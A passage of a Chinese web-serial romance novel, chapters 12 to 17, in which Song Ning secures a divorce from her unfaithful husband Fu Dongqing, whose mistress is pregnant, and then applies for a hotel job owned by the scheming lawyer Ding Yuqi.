两人分开的时候,唐婷的助理开着车在地库等她了。 宋凝送她离开,才缓缓往回走。 刚准备上电梯的时候,电梯门打开了。 傅东擎从里面冲了出来,一把抱住她:“你没走?” 宋凝淡淡的:“你派了四个人跟着我,我走哪儿去?” 傅东擎重重松了一口气:“你太聪明,那四个人还真不一定能看得住你。” “谢谢你对我智商的肯定,但我又不是土行孙,我再厉害也没办法上天遁地。” 傅东擎轻笑,搂住她的腰,拥着她上了电梯:“走吧,正好来了,陪你逛逛,买点新衣服。” “我衣服够多了,都要穿不完了,不想逛。” 傅东擎突然停了下来,挑了挑眉:“……你的衣服不是都捐了么,你忘了?” 﨔 第一十二章 今天的补汤还炖不炖了? 宋凝愕然。 差点说漏嘴了。 “……唐婷送了我很多衣服,就刚刚。” “哪儿呢?衣服。” “说是过几天让助理寄给我。” 傅东擎轻声说:“我傅东擎的老婆想要什么衣服买不起?非得要她的二手货?” “人家是明星,穿的都是高级定制,而且只穿过一次的,怎么了?” 傅东擎说:“以后你想要什么高定告诉我就行,不用通过她。” 宋凝兴致缺缺,傅东擎却很高兴,拉着她进了商场。 宋凝也不知道他在高兴什么。 问就是—— 傅东擎:“秘密。” 很好,人手一个秘密。 他们这对夫妻不管哪个方面,都算是扯平了。 “对了,我昨晚是不是……伤着你了?” 傅东擎看着她包着纱布的耳垂,有些内疚:“处理过了吗?” 昨晚两人的肢体冲突太激烈,原本在医院是用纱布包扎的,最后也不知道什么时候弄掉了。 早上宋凝醒来的时候,伤口还是有些渗血。 她就用创可贴贴上了。 宋凝点头:“没事,过几天就好了。” “你昨晚怎么突然想起来戴耳环了?你以前不都不喜欢这些首饰的么。” “看林澜戴着挺好看的,就想试试。” 傅东擎微微蹙眉:“我都说了,我跟她真的没有发生实质性的关系,你不用总是耿耿于怀。” “我没耿耿于怀啊,就算发生了也没什么,我跟吴教授不也说不清么。” 傅东擎沉默了一会儿,说:“我们跳过这个话题。” 其实事到如今,傅东擎跟林澜之间到底有没有睡过,宋凝已经不在乎了。 在他的心里,自己跟吴教授是板上钉钉的过夜了。 出于“扯平”,他跟林澜没发生什么的概率太低。 而且,林澜实打实的去了他们的主卧室,今天早上她去洗澡的时候,也发现了主卧的浴缸有用过的痕迹。 排水口的位置上,还有几缕长发。 棕色的。 跟林澜的发色一致。 而宋凝自己虽然也是长发,但没有染过,是自然的黑色。 两人路过珠宝区的时候,林澜的店长在。 出于职业本能,她第一眼看到的是宋凝,还笑着跟宋凝打招呼:“宋小姐您来啦!林澜今天说是生病请假了,我亲自为您服务……” 话说到一半,就又看到了傅东擎。 那个经常来光顾,并且跟林澜关系匪浅的“金主”。 更可怕的是,现在金主大人牵着富婆姐姐的手,一起来了。 店长脸上的笑容顿时就尬住了。 宋凝却回应了她,也挥了挥手:“谢谢,但我今天不买首饰。” 店长看了看宋凝,又看了看傅东擎,不知道该不该也跟傅东擎打个招呼。 宋凝问傅东擎:“你想买首饰吗?” 傅东擎拉着她飞快地走过了珠宝区:“去看衣服。” 他们走后,身后的珠宝店一圈都要炸了。 整个商场一层都是各个品牌的珠宝专柜。 原本大家都很羡慕林澜,不但有个有钱的金主男朋友给她送业绩,还有个富婆姐姐专宠她一人。 林澜可是整个商场里最让人羡慕也最让人嫉妒的存在。 现在好了,金主和富婆姐姐一看就关系匪浅,一群人早就按捺不住,叽叽喳喳的议论开了。 傅东擎拉着宋凝上楼,直奔女装区。 他心里像是憋着火,凡是他能看上了,全都拿了一套,让店员按照宋凝的尺码包起来。 店员还好心提醒了一句:“可以先上身试试效果的。” 傅东擎说:“没时间试,买回去不好看直接捐了。” 至此,店员也沉默了,默默打包。 拎着大包小包回到家,门口却停着一辆熟悉的车。 傅东擎的神色当时就有些紧绷。 走进客厅,他的父母都在。 刘姨已经给他们上了茶,但两个人脸色都不太好看。 这种场面已经不是第一次上演了,宋凝很熟悉这个流程。 果然,傅东擎的父亲傅学森先开了口:“怎么这么晚才回来?” 傅东擎牵着宋凝,把她往身后藏了藏:“带阿凝买衣服去了。爸妈,你们怎么来了?” 砰地一声。 傅学森重重拍了一下桌子:“我要是不来,我的宝贝孙子都要没了!” 傅东擎一脸茫然:“什么孙子?” 宋凝一直以来都不太想要孩子,或者说,不想这么早要孩子。 但公婆给傅东擎的压力很大,每隔十天半个月就会来家里施一次压。 傅东擎说:“我跟阿凝都还年轻,想先过几年二人世界,孩子的事情不着急……” “你可以不着急,但孩子不行。”傅学森从桌子上拿起一张纸片,直接扔到了傅东擎面前:“你自己看看!” 傅东擎从地上捡了起来,才发现是一张检查单。 准确的来说,是一张孕检单。 检查结果:胚胎存活,4周。 姓名那一栏赫然写着:林澜。 姜秀兰站了起来,怒骂道:“儿子,你真是糊涂啊!有了孩子为什么不要?你跟这个宋凝在一起,是要我们家断子绝孙吗?” 傅东擎也急了:“我们又没说不生,只是想迟一点再生。” “那也就是说,你不否认这个林小姐怀的孩子就是我们傅家的种了?” 傅东擎哽住了。 他偏头看了看宋凝,“我没有……” 蒋秀兰说:“是就行,这个林小姐我们已经接回老宅照顾了,让她好好安胎。至于你,东擎,孩子不能没有父亲,该怎么做,你自己看着办吧。” 傅学森和蒋秀兰离开了。 偌大的客厅里,静得一片死寂。 刘姨旁听了全程,应该大致也猜到了一些,此时此刻也不敢多话。 宋凝看她一把年纪了,让她先去休息了。 刘姨问:“……那今天的补汤还炖不炖了?” 炖补汤原本就是为了给他们两个备孕的。 现在傅东擎在外面有了孩子,这汤还炖不炖就成了一个棘手的问题。 傅东擎说:“炖。” 宋凝说:“我中午跟唐婷吃饭撑着了,晚上不想吃,要炖就只炖给他的那一份就好。” 宋凝上了楼,进了主卧室。 她的证件都在主卧的抽屉里,她都取了出来,先压在了床垫下面。 免得被傅东擎收缴了,一个月后办离婚,反而是她拿不出证件。 傅东擎上楼的脚步声传来,急吼吼的。 她索性就站在窗边等。 他破门而入,却止步不前。 “阿凝。” “嗯,”宋凝应了一声:“我们离婚吧,我认真的。” 傅东擎慌忙摇头:“不……” 宋凝看着他的眼睛:“给孩子一个爸爸。” 﨔 第一十三章 一人出轨一次,算扯平 傅东擎深吸了一口气,极力在克制情绪:“我承认一个月前是有一次,我喝醉了,把她当成了你,但是那一次根本就没有做到最后,我中途就已经清醒了……” 宋凝已经不想去计较那件事还有多少个步骤,他们止于哪一步了。 事实就是,他确实跟林澜上过床。 并且如果她没有发现的话,他还会一直跟林澜保持联系。 以及,他仍旧会理所当然地认为,他出轨这一次,也只是跟她扯平了。 宋凝说:“我不懂你还在坚持的意义是什么。” “是你,”傅东擎冷静了一下,说道:“阿凝,你给我点时间,我一定会处理好这件事的。” “你怎么处理?孩子都有了你还能怎么处理?” 傅东擎已经转了身要出门,声音透着阴冷:“那就打了。我的孩子,必须是你给我生的。” 傅东擎快速下了楼,很快,楼下就传来傅学森愤怒的低吼和蒋秀兰尖锐的咒骂声。 宋凝下去的时候,傅东擎应该是被打过。 脸往一边骗过去,左脸上有明显的五指印,金丝眼镜也被打的掉在了地上。 一条眼镜腿都折断了,可见用了多大力气。 傅东擎见她下来,轻声说道:“阿凝,这几天你就待在家里别出门了,给我三天,我一定会处理好。” “就是因为她,你要打掉你自己的孩子!?”傅学森气的怒吼:“这个女人到底给你下了什么迷魂汤?她自己都是个不干不净的,也就你把她当个宝!” 傅东擎直接吼了回去:“她就是我的宝!爸,我是你儿子,你怎么说我都可以,阿凝她没欠你们什么,而且她之前的事我心里都清楚,不用你们提醒。” “不孝子,不孝子!你的家世地位,要什么女人得不到,非要这个破鞋……” 蒋秀兰一下一下的打在傅东擎背上,傅东擎也不躲,就这么硬生生挨着。 恰在这时,一楼的客房门被打开了。 林澜素着一张脸,未施粉黛,神色看着苍白了不少。 她用手捂着肚子,咬着唇委屈地说:“阿姨,您别打东东了,我……我会去把孩子打了的。” 蒋秀兰立马走了过去扶住她:“傻孩子,你说什么傻话呢?你怀着的是东擎的孩子,也是我们傅家的孙子,我看谁敢?!” “可是东东……哦不,是傅总,他已经结婚了,并且已经有妻子了。我之前还以为他是单身,我并不知道他是已婚的身份,所以我才愿意跟他交往的。我要是早就知道他已经结过婚,我死都不会跟一个有妇之夫在一起的!” “我知道,我知道,好孩子,你别激动。你现在月份小,不稳定,当心伤着孩子。” 林澜突然冲了过来,跪在了宋凝面前,“宋小姐,对不起,都是我不好,我之前真的一点都不知道……” 宋凝淡淡地开了口打断她:“你是不知道他已婚,还是不知道我才是他太太?” 林澜咬住唇:“我都不知道。” “之前你可以说你不知道,那天晚上他把你带回了家,主卧里有我的梳妆台,我的衣帽间,你是瞎子吗?看不到?!更何况你身上穿的睡衣,脚下踩着的拖鞋也都是我的!” 林澜顿时脸色苍白。 蒋秀兰立马把林澜护在身后:“我儿子都已经把她带回家了,想必你应该明白他的意思了吧?宋小姐,如果识趣的话,自己做个决定吧,不要弄到最后大家都难看。” “妈!”傅东擎扬声道:“我说过,我不可能跟阿凝分开的,还要说多少次你们才明白?” “好,你不分?我来帮你!” 说着,傅学森从包里拿出来几张照片,啪地一声仍在了宋凝的脚边。 他说:“宋小姐,这几张照片,你应该很熟悉吧?” 宋凝一眼就看到了照片上那明晃晃的【荣成快捷酒店】几个字。 她安慰了唐婷一晚上,疲倦至极。 下楼梯的时候差点踩空,是吴教授扶了她一把。 但是这几张照片拍摄的角度极好,光从照片上,还以为是吴教授搂着她的腰,姿态亲昵。 傅学森指着宋凝的鼻子问道:“你敢说这上面的女人不是你?” “是我,”宋凝干脆利落地承认了:“但我想知道,这些照片是谁给您的?” “你承认就好,谁给的不重要。” “是丁予期吗?” 傅东擎说过,是丁予期亲眼看到她和吴教授早上从酒店里走出来的。 这几张照片抓拍的这么精准,跟他几乎脱不了干系。 “是又怎么样?”傅学森说:“宋小姐,人是要有脸皮的,你自己干过这些烂事,还有什么脸面当我们傅家的儿媳?” “我一开始根本没想着高攀你们傅家!是傅东擎追我,从初二追到高三!追了我五年我才答应的!” 蒋秀兰说:“那时候年纪小,他根本不了解你是什么样的女人。” 傅学森也说:“既然今天话都说开了,我们傅家忍这口气也忍了这么多年,今天也不需要再忍!你跟东擎必须得离婚,越快越好!” 宋凝冷笑:“叔叔,这一点上我跟您意见统一,最好今天就能去民政局办手续。” 傅东擎听到她称呼“叔叔”,立刻纠正道:“阿凝,别乱叫,该叫爸。” “我们离婚是迟早的事,改口早一点晚一点没什么区别了。” 叮咚—— “您好,请问是宋凝小姐家吗?有您的同城快递,麻烦您签收一下。” 应该是唐婷给她的东西。 宋凝过去开了门,签字。 唐婷给她寄了一个大箱子,隐隐可以看到里面是一些衣服,还有一些零食。 当然,还有几张打印好的文件。 宋凝抱着箱子要上楼,傅东擎立刻走了过来:“阿凝,我帮你。” “啊……我的肚子,怎么突然好痛……” 林澜突然倒地不起,“东东,救我,救救我们的孩子……” 﨔 第一十四章 恋爱脑这个东西,要不得 娇滴滴地一出声,傅学森和蒋秀兰都心急不已。 蒋秀兰立刻叫道:“东擎,你还不赶紧送林小姐去医院!” 林澜痛苦地在地上缩成一团,仿佛受到了巨大的痛苦。 “东擎!”傅学森下了最后通牒。 傅东擎紧紧握了握拳头,跟宋凝说:“我先送她去医院,阿凝,你在家等我回来。” “等一下,”宋凝叫住他:“你上次答应我买的那个小行星,你还记得吗?” “记得,怎么了?” “扣款文件已经下来了,需要你签个字。” 傅东擎看着她:“现在吗?” “对,就现在。” 傅东擎犹豫了一下,点头:“那快点吧。” 傅东擎帮宋凝把箱子搬上了楼,三步并作两步。 主卧室里,宋凝用刀划开了箱子,取出了那两份文件。 宋凝递给他:“签了吧,然后赶紧送林澜去医院。” 楼下,林澜的哭嚎,傅学森的怒吼,还有蒋秀兰的痛斥交织在一起,鬼哭狼嚎,热闹非凡。 仿佛唐僧的紧箍咒,又仿佛阎王的催命符。 傅东擎心烦意乱,三两下签好自己的名字,还给宋凝:“阿凝,你等我,一定要等我。” 宋凝捏着两份签过字《委托书》,站在窗前,看着他们一家子开车离开,终于还她了一个耳根清净。 她给丁予期打了个电话。 对面接起来的很快:“宋小姐?” “看不出来,丁律摄影技术不错。” 几张照片的抓拍角度都十分刁钻,如果不是有专业基础,根本不可能把那么一秒钟的画面完美的抓拍下来。 丁予期听懂了,轻笑了一声:“我们彼此彼此。你约我见面那天,不是也找了专业摄影师抓怕了我们两个暧昧的姿势?” “你知道?!” “我是律师,什么都逃不过我的眼睛。不过宋小姐,我很好奇,那张照片你打算做什么用?” 宋凝嗤笑:“你还想不想让我跟傅东擎离婚了?想的话,半小时后民政局门口见。” …… 半小时后,宋凝在民政局门口见到了早就在那里等候的丁予期。 她不禁很想笑:“丁律这么忙,竟然还能早到?” “我本身就在附近,快来很快,”他的目光落在她的耳垂上,皱眉:“怎么好像又严重了?” 能不严重么。 差点被傅东擎强迫,再次拉伤。 宋凝此时已经顾不得这些了,迟则生变,她要速战速决。 她把傅东擎签好字的委托书交给丁予期,然后又拿出了自己和傅东擎两个人的证件扬了扬给丁予期看。 “东西我都带齐了,早点办早点散。” 好在,今天民政局的人不多,不用排队。 宋凝把证件都递进了窗口里,说道:“我要申请离婚。” 有丁予期在,流程走的很快。 宋凝几乎全程都没说话,都是丁予期在跟工作人员协商。 她只是最后在工作人员跟她确认,离婚是不是她本人意愿的时候,坚定地点了点头:“是的。” 办完出来,丁予期说:“第一阶段就结束了,三十天冷静期到了之后,我会联系你过来办理正式的离婚手续。” 宋凝点点头。 丁予期笑着调侃了她一句:“你真舍得跟傅东擎离婚?离了之后,你恐怕再也找不到条件这么好的了?” 宋凝直接怼了回去:“丁律,如果你再挑衅我,我现在就把这张回执撕了。” “别别,”丁予期连忙说:“你心志坚定就好,我是怕傅东擎对你太好,你又舍不得。” 舍不得? 人活在世上,舍不得也得舍得。 “对了,离婚之后你打算做些什么?” “找工作。” 宋凝大学学的是酒店管理,做了很多年傅太太,傅东擎一直都不赞成她出去工作。 “虽然是管理,但酒店里的人就算是经理,那也是服务行业,也得对客人毕恭毕敬。阿凝,我们不去受这个气。” 现在想想,真是大错特错。 恋爱脑这个东西,要不得。 唐婷刚拍完戏,这几天都在家休息。 宋凝办完事不想回家,干脆去唐婷那儿窝着。 唐婷一听她说想找工作,立马来了精神:“要不你给我当经纪人吧!我们姐妹齐心,其利断金!” 宋凝兴致缺缺:“我不懂你们这一行,没有金刚钻还是不揽瓷器活了,我还是想做我的老本行。” “你想进酒店?” “嗯,”宋凝说:“父母花钱供我上学,我也想学以致用。而且……我家的事你也知道,我迟早要把属于我爸的酒店拿回来的。” 宋凝的爸爸一直是做酒店行业,小时候她的家境其实相当不错。 但是后来他被几个好哥们做了个局,坑了他大半辈子的收入。 再后来,讨债的人天天上门,凶神恶煞,威逼恐吓,压根没法生活。 不得已,宋父决定把酒店以一个极低的价格出了手,自己也随之进了监狱。 宋凝也是后来才知道,那间酒店后来就是到了他那几个兄弟手里,他们做了这么大的一个套让爸爸往里面钻,就是为了要爸爸的酒店! 唐婷突然一拍脑门:“对了,我下部戏要在S市拍,剧组安排的是卫斯理酒店。你要不去那儿试试?要是成功应聘了,我就直接包三年的总统套房,你的业绩绝对都不用发愁,姐给你搞定!” 卫斯理酒店,宋凝知道。 顺庭集团旗下的高端酒店品牌,坐落于S市的核心商业街区,日常接待的都是名流权贵,明星富商,反正客人基本上都非富即贵。 当初卫斯理还一度想要并购爸爸的酒店加入卫斯理旗下的,爸爸其实也很有意向。 但是最后也因为出了意外,这个并购案被迫中止。 “……不过我听说,现任卫斯理的老板,是上一任老板的小儿子。而且神秘的很,几乎没什么人见过他。” 宋凝先找到招聘网站,投了一份客房部经理的简历过去。 老板神秘更好,只要跟傅东擎不认识就好办。 S市又离得远,天高皇帝远的,傅东擎的手也伸不了那么长。 宋凝原本以为要等几天才会有回音,但是投简历当天晚上就收到了卫斯理HR的电话。 “您好宋小姐,我们看了您的简历,觉得您的专业跟我们客户经理这个岗位十分匹配,下周一您方便过来S市面试一下吗?” 宋凝一口答应下来:“好的,我会按时到的。” 﨔 第一十五章 以后这个家的太太应该会换一个人 宋凝回家就开始收拾行李了。 傅东擎回来的时候,身上的衣服皱巴巴的,整个人显得极为疲惫。 看到宋凝已经差不多快要收拾好的行李箱,他沉着脸过来,一把按住了她的手:“你在干什么?” 宋凝一把推开他:“你别挡路。” 傅东擎努力压抑着怒气:“多大人了还跟我闹离家出走?阿凝,我这些年真是宠你宠的太过了!” 宋凝正在收拾的手微微一顿。 是啊,一边宠着她,一边跟别的女人怀上了孩子。 真的是太过了。 “抱歉阿凝,”傅东擎低头道歉:“我今天有点累,情绪不好。但是阿凝,你能不能也体谅一下我?” 宋凝继续手上的动作:“你抱着你的小情人去医院保胎,还要我怎么体谅你?去医院给你的小情人伺候月子?” 傅东擎捏着眉心,整个人跌坐在床边,“我们能不能不吵架了?” “当然可以,跟我离婚,我保证再也不会找你吵架。” “不可能,”傅东擎的眸色瞬间暗了下来,整个人隐隐释放出一股迫人的压迫感:“你想都别想。” 他的态度,再一次让宋凝庆幸自己之前找了丁予期这个帮手。 神不知鬼不觉地把事情办了。 就是现在这个冷静期实在是太烦人了,不然她现在早就拍拍屁股转身就走了。 傅东擎说:“……我妈今天差点哭死过去,我实在是没办法……孩子的事情我已经在跟林澜协商了,给她一笔钱,让她瞒着我爸妈私下去把孩子打了。” 宋凝哼笑了一下:“她还真怀孕了?你不是说没做到最后么?” “我也不知道怎么回事,今天去医院验了血,她确实怀孕了。” 宋凝轻声说:“你当心头顶上青青草原。” 傅东擎摇了摇头:“不会,林澜这些日子的行踪和接触过的人我已经让人去查过了,没有问题。” 那也就是说,孩子确实是他的。 虽然没做完,但林澜的身体实在太强大,这样都怀得上。 傅东擎抬起头来,舔了舔唇,轻声问道:“阿凝,你这么排斥生育这件事,我在想……能不能……” “你该不会想去母留子吧?” 宋凝说中了他的心事,傅东擎无奈地叹息了一声:“这是我能想到的,目前最好的解决办法了。” 宋凝笑了:“我连自己的孩子都不愿意养,你让我去养别人的孩子?你怎么想的?” “也不能说是别人的孩子,那是我的骨血。阿凝,林澜今天哭着跟我说,她不知道我们两个是夫妻,她更不想成为第三者。所以她愿意把孩子生下来交给你抚养,然后她自己走的远远的,再也不会回到H市……” “你信吗?”宋凝直接打断他:“算了,我跟你争这个干什么,这是你跟她的事,与我无关。” 行李收拾好了,宋凝直接拖着行李箱去了楼下。 傅东擎快走了几步追上来,拦住她的去路:“你要去哪里?” “S市。” “我陪你。” “林澜胎像不稳,你爸妈应该下了死命令,让你去医院陪她吧?” 傅东擎张了张嘴,但最后还是没否认。 她的这对公公婆婆,不对,是准前公公婆婆的脾气她太清楚了。 猜都不用猜。 “我跟唐婷一起去S市旅游,她下部戏就在S市拍,我正好过去玩一阵子。” 一提起唐婷的名字,傅东擎瞬间狐疑起来:“真的?” “你不信去问唐婷经纪人。” 傅东擎呵呵:“唐婷是块砖,哪里需要哪里搬。上次你也是假借她的名义出了门,结果是骗我的。实话实说,这方面我确实不信你。” “随便你信不信。” 宋凝推开他,提着行李箱下楼。 傅东擎又要来拦,恰好电话响了。 他看了一眼来电显示,犹豫挣扎了几秒,最终开始接了起来:“林澜?” “……” “好我知道了,我马上赶过去。” 挂了电话,傅东擎对宋凝说:“林澜那边出了事,我得赶去医院一趟。阿凝,你真的是去S市旅游的吗?” 宋凝说:“S市也是个大城市,你傅总随便查一查机票信息不就知道了?” 傅东擎总算是点了点头,嘱咐了一声“路上小心,有什么事随时给我打电话”,然后急匆匆的开车出门了。 宋凝走到门口的时候,刘姨看着她的行李箱,欲言又止。 宋凝直接开口说:“以后补汤都不用炖了,改炖安胎汤吧。” 刘姨瞪大了眼睛:“太太,你有了吗?” “我没有,但以后这个家的太太应该会换一个人,是她有了。你有空的话钻研一下安胎汤的方子吧,以后肯定用得着。” 凭良心说,刘姨这些年工作兢兢业业,当然傅东擎给的报酬也很丰厚,是市面上工资的三倍左右。 刘姨家里还有个残疾的儿子,这份工作对她来说很重要。 提点她一下,就当是全了这些年的情分了。 唐婷的保姆车没一会儿就到了,唐婷的助理下了车,帮宋昭把行李一起放上了车。 只不过助理也是个小姑娘,两个人一起抬行李箱都累的够呛。 她半开玩笑地说:“宋凝姐,你这是出去应聘还是准备搬家啊?这行李箱比我们化妆师的箱子都重。” 宋凝:“你还真没说错,我就是准备搬家的。” 她的衣服鞋子包包基本上之前都捐掉了。 她自己的东西不多,这些东西基本上都是爸妈去世之前老房子里的,属于她的童年回忆。 后来老房子拆迁,傅东擎就陪她把这些东西都搬到了他们住的这栋别墅里。 不过现在,她也是时候都搬出去了。 唐婷小声催促:“快点呀,赶紧上车。” 宋凝和助理上了车,司机飞速把门关上,飞驰而去。 宋凝在唐婷旁边坐下,看着她仍旧全副武装的样子,不禁轻笑:“你在车上呢,还用得着戴帽子和墨镜?” 唐婷扁扁嘴:“你是不知道那些狗仔有多烦人,我昨天晚上出去夜跑,在路边小吃摊买了几串烤鱿鱼都被他们拍了。” “……吃个烤鱿鱼应该不算什么黑料吧?” “可是我油滴到衣服上了,”唐婷说:“我可是清纯玉女偶像啊,唉,人设崩塌!” 助理珊珊忍俊不禁:“没事的唐婷姐,经纪人周姐已经给媒体发了通稿了,现在粉丝们都在说你接地气呢,更爱了。” “不说我了,”唐婷把一个纸袋塞进宋凝手里:“周一去面试的时候,你穿这一套,我特意给你买的。” 﨔 第一十六章 不想给他以后再联系我的借口 “我说唐大明星,我是去应聘酒店经理,不是酒店公主。” 唐婷却神秘兮兮地说:“我托人去打听了,卫斯理酒店的那个小老板,口味重的很,只喜欢辣 妹。我本来想着牺牲一下我自己,陪他吃顿饭,帮你把这个工作搞定的。但是没办法,人家不吃我这一款呀,只能你自己努力喽!” 宋凝:“一个酒店经理的职位而已,还不至于要搬出你的名头。” “你是不知道,”唐婷悄悄说:“你要应聘的那个是卫斯理酒店S市最奢华度假酒店,对酒店经理要求极高,我听说自从这个小老板接手了之后,已经连续换了二十多个经理了!” “这个小老板这么挑剔?” “可不是么,而且他神秘的很,这些年基本都没露过面,基本没人知道他长什么样子。我这也是花了点钱打点,才问出了这么一丁点线索,全贡献给你了。” 嗡嗡—— 手机振动了一下。 【傅东擎:你跟唐婷好好玩,想回来的时候告诉我,我去接你。】 【傅东擎:我给你的卡,随便刷,不用帮老公省钱。】 大概是他让人真的去查了航班信息吧,查到确实是唐婷陪她一起飞S市,所以放了心。 唐婷瞄了一眼,“傅东擎啊?” 宋凝把手机按灭:“嗯。” “他还挺大方,钱都给你花。” “要是外面的孩子也抱回来给我带呢? 唐婷震惊了。 想问,但是又怕戳到她的伤心处,支支吾吾好久还是没敢问。 宋凝突然觉得挺悲哀的。 连她最好的朋友都不敢相信,傅东擎真的在外面有了孩子。 大概全世界都觉得,她跟傅东擎的感情非常好吧。 可是他们的感情其实就像是锦绣华服,表面上看上去光鲜亮丽,内里早已经被虫蛀了个大窟窿。 飞机落地之后,唐婷拉着她直奔卫斯理酒店,并且直接开了房间。 美其名曰:“不亲身体验一个客户的感受,以后怎么更好的为客户服务?” 宋凝想了想也对,于是她拿出身份证开了房间,付款的时候,她用的是爸爸留给她的那张银行卡。 爸爸当初债台高筑,被迫入狱之前,留给了她一张银行卡。 “阿凝,这是爸爸偷偷藏下来的,爸爸这一进去也不知道还能不能出来,这是爸爸能为你做的最后一点事情了,以后要靠你自己了。” 这些年,她一直舍不得动用这里面的钱。 尤其是在爸妈去世之后,她更是无比珍视他们留下来的每一个东西。 唐婷说:“你干嘛不用傅东擎的卡刷,不用白不用。” 宋凝却说:“不想给他以后再联系我的借口。” 周天下午,宋凝自己在网上买了一套正式的西装套裙和黑色高跟鞋。 周一早上,她穿着的素净却利落,去了酒店64楼的办公区。 来面试的人已经很多了,都被前台请到了会议室等待叫号。 宋凝等了一会儿,却看到了一个熟悉的人影。 “吴教授?!” 吴教授也认出了她:“宋凝?你来这里度假吗?” 同学们基本都知道宋凝“嫁入豪门”,连吴教授的第一反应也是,她是个阔太太,来度假的。 宋凝笑着说:“不是,我来应聘的。” “你老公同意吗?” 宋凝说:“我自己要做的事,他管不着。” 吴教授无奈的笑:“吵架啦?” “没有,吴教授您呢?您是来度假的吗?” 吴教授两手一摊:“这里的价位,我哪里住的起呀!是最近学术上有个交流大会要在S市举办,安排他们下榻的就是这家酒店,我是代表学校来接待他们的。” 宋凝点了点头:“这样啊。” “行,时间不早了,不好让人家久等,我先上去了啊。” “好的。” 跟吴教授道别之后,宋凝很快就被叫到了名字,进去面试。 酒店经理的面试她之前在网上也做了一些功课,无非就是多国语言、待人接物,以及最重要的个人形象。 宋凝本身颜值就高,胸大腰细脖子长,皮肤格外白,看起来就是个标准的美人坯子。 待人接物也彬彬有礼,谈吐自然。 至于语言方面,除了英文是专八之外,她大学还自学了法语和德语,西班牙语也会一些日常基本对话,可谓是六边形战士。 前面三轮面试,她都顺利通过,淘汰了90%的应聘者。 最后,只剩下了三位候选人。 一位是男性,听说是常青藤博士毕业,学历太过耀眼,所以一直杀到了现在。 另一个跟宋凝一样是个年轻女孩,但是似乎她也有“内部情报”,穿着小吊带和超短裙,那叫一个热辣。 不过宋凝听到了她说英文,口音不怎么样不说,还磕磕巴巴的不够流畅。 所以宋凝觉得她并不足为惧。 她不信,堂堂卫斯理酒店的老板,会这么色令智昏,放着一个高材生和她这个综合得分最高的不用,真的去用一个花瓶辣/妹。 一个秘书一样打扮的女人走了出来,笑着说:“最终结果已经出来了,林晓筠小姐被录用了。抱歉,宋凝小姐和陈婧先生,你们二位同样很优秀,也希望你们能找到自己心仪的工作。” 常青藤男生顿时就不服气了:“贵公司的录用标准到底是什么?不看学历不看能力,只看裙子的长短吗?” 秘书礼貌地笑:“不好意思陈先生,是我们老板看了几位今天面试的视频才最后决定的,老板自有老板的考量,我也只是负责传达而已。” “卫斯理有这样的老板,迟早倒闭!” 常青藤男生气呼呼的走了。 超短裙女生却很开心,笑着跟宋凝说:“对不起喽~” 还冲宋凝调皮的吐了吐舌头。 宋凝站了起来,对秘书说:“不好意思,我想问一下不录用我的理由是什么呢?可否告知,方便我以后改进。” 秘书对宋凝很有印象,她真的是智商与美貌同时兼备,原本他们都觉得最后的胜利者会是宋凝。 但是……老板拍了板,他们说了也不算。 秘书说:“宋小姐,可能……我们老板他有其他别的考量吧,总之很抱歉……” 嗡嗡—— 【傅东擎:宋凝,你耍我?】 﨔 第一十七章 神秘的老板 【傅东擎:那个老头子到底有什么好的,你要一次一次地骗我?】 【傅东擎:你是为了报复我吗?因为我让林澜怀上了孩子?】 【傅东擎:我现在就去S市,你最好给我解释清楚!】 【傅东擎:[图片]。】 最后一张图片,是刚才她和吴教授聊天的时候,被人拍下来的。 照片的画面里,吴教授笑着伸手摸她的腰,而她害羞地低着头。 可真实的情况是,吴教授只是把手里的公文包换了个手,那只手刚刚放下来而已,只是因为角度问题,才像是刚刚好停在她的腰上。 而她的害羞也并不是真的害羞,只是旁边的鱼缸里,一条锦鲤慢悠悠的游过,身上的红色被光映在了她的脸上。 整个照片的拍摄角度几位刁钻,时机拿捏的恰到好处,光是看图,根本是辨无可辨。 秘书突然说:“宋小姐,我们老板出来了,你要不要亲自去争取一下……” 宋凝刚一抬头,对上了一个熟悉的面孔—— 秘书小跑着追了过去,替宋凝争取机会:“小丁总,有个候选人真的非常优秀,您可以亲自跟她聊一聊再做最后的决定……” 丁予期转过了身,似乎早就知道宋凝会在这里。 他轻笑着跟宋凝挥了挥手,然后跟秘书说:“不用聊,我跟她可熟得很。” 十分钟后,宋凝被请到了丁予期的办公室。 她看着办公桌上放着的【董事长 Ryan】的铭牌,好半天都理解无能。 怎么一个当了十多年律师的人,突然就成了卫斯理酒店的小老板? 丁予期敲了敲铭牌,桃花眼眯起:“意外吗?” “真有点意外。”宋凝如实回答:“这下也好,之前还担心你一个律师的收入跟傅东擎不登对呢,现在好了,门当户对,天作之合。” 丁予期没好气的哼了一声:“我是不是还应该谢谢你的祝福?” “如果你喜欢听的话,我还可以祝你们百年好合,三年抱俩。” 丁予期的脸顿时黑了一半。 宋凝说:“我要是早知道你就是卫斯理酒店的老板,我一定提前壁垒,去你的对手酒店应聘。” 丁予期无所谓地耸了耸肩:“现在去也不晚。” “不是我说,我都跟傅东擎离婚了,还是你亲自跟我去民政局走的流程,我究竟怎么得罪你了,离了婚你还这么针对我?” 丁予期挑了挑眉,问她:“你真想要这份工作?” 平心而论,是的。 不仅仅是因为卫斯理酒店在行业内的确是翘楚,而且更因为爸爸生前跟卫斯理方面谈过并购的事,她想找到更多当年的线索,控告那些恶人,为爸爸翻案。 叮铃铃—— 电话响起。 宋凝一接起,就听到了傅东擎的怒吼声:“你今晚敢跟他过夜试试!我不管你是不是在报复我,阿凝,我舍不得罚你,但那个姓吴的老色皮,我一定要他身败名裂!” 宋凝气不过:“我跟吴教授根本什么都没有,他一辈子都在兢兢业业的教书育人,你能不能别去伤害无辜的人?” “你就这么护着他!?阿凝,林澜怀孕这件事我也是始料未及,但事出有因,我答应了你会做好善后的。但我希望你也守好你自己,不要因为一时冲动做出不可挽回的事。” “不可挽回的事?呵,什么事?” “……你非要把那一晚的事情再翻出来旧事重提吗?” “那一晚的事实就是我跟吴教授清清白白,什么都没发生!我们真的就只是单纯的师生情谊。傅东擎,你为什么宁可相信一张照片都不肯相信我?” 照片。 对了,宋凝抬起头来,看向丁予期。 刚才的照片,难道也是他发给傅东擎的? 究竟是为什么? 多年前的那次误会暂且不说,刚刚的那张抓拍照片,明显是刻意找了角度! 她今天跟吴教授发生的一切,丁予期他都心知肚明! 他是故意的! “……阿凝,我算我求求你,我真的已经很累了,你不要冲动,好不好?我马上登机了,晚上我就来找你。” “傅东擎,我再说一遍,我跟吴教授,不管是几年前,还是今天,从头至尾,我们都没有任何暧昧关系。” 傅东擎说:“可你今天还是骗了我,不是吗?” 